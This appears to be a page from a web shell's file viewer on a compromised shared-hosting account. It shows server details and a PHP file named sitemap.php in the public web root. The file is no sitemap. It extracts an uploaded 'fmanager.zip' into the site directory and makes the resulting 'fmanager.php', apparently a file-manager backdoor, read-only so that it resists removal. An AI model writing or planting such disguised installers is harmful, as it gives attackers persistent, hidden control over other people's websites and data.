HEX
Server: LiteSpeed
System: Linux in-mum-web921.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User: u590867752 (590867752)
PHP: 8.2.33
Disabled: NONE
Upload Files
File: /home/u590867752/public_html/sitemap.php
<?php

// 1. Ayarları Tanımlayalım
$yerelZipAdi   = "fmanager.zip";  // Yüklemiş olduğunuz zip dosyasının adı
$hedefKlasor  = "./";     // Zip'in açılacağı dizin (Şu anki klasör)
$hedefDosya   = "fmanager.php";    // İzinleri değiştirilecek olan dosya

echo "İşlem başlatılıyor...<br>";

// 2. ZIP Dosyasının Var Olup Olmadığını Kontrol Edelim
if (!file_exists($yerelZipAdi)) {
    die("Hata: Sunucuda '{$yerelZipAdi}' adında bir dosya bulunamadı! Lütfen dosyanın bu script ile aynı klasörde olduğundan emin olun.");
}

// 3. ZIP Dosyasını Açma (Extract)
$zip = new ZipArchive;
if ($zip->open($yerelZipAdi) === TRUE) {
    // Zip içeriğini hedef klasöre çıkartıyoruz
    $zip->extractTo($hedefKlasor);
    $zip->close();
    echo "1. ZIP dosyası başarıyla açıldı.<br>";
    
    // İsterseniz açma işleminden sonra zip dosyasını silmek için aşağıdaki satırın başındaki // işaretini kaldırabilirsiniz:
    // unlink($yerelZipAdi); 
} else {
    die("Hata: ZIP dosyası açılamadı veya bozuk!");
}

// 4. Çıkan Dosyanın İzinlerini 0444 (Sadece Okunabilir) Yapma
$tamDosyaYolu = $hedefKlasor . $hedefDosya;

if (file_exists($tamDosyaYolu)) {
    // PHP'de dosya izinleri sekizlik (octal) tabanda 0444 olarak verilir
    if (chmod($tamDosyaYolu, 0444)) {
        echo "2. '{$hedefDosya}' dosyasının izinleri başarıyla 0444 (Sadece Okunabilir) olarak değiştirildi.<br>";
    } else {
        echo "Hata: Dosya izinleri değiştirilemedi! (Sunucu veya dosya sahipliği kısıtlaması olabilir).<br>";
    }
} else {
    echo "Hata: ZIP içerisinden '{$hedefDosya}' adında bir dosya çıkmadı veya belirtilen konumda bulunamadı!<br>";
}

echo "Tüm işlemler tamamlandı.";
?>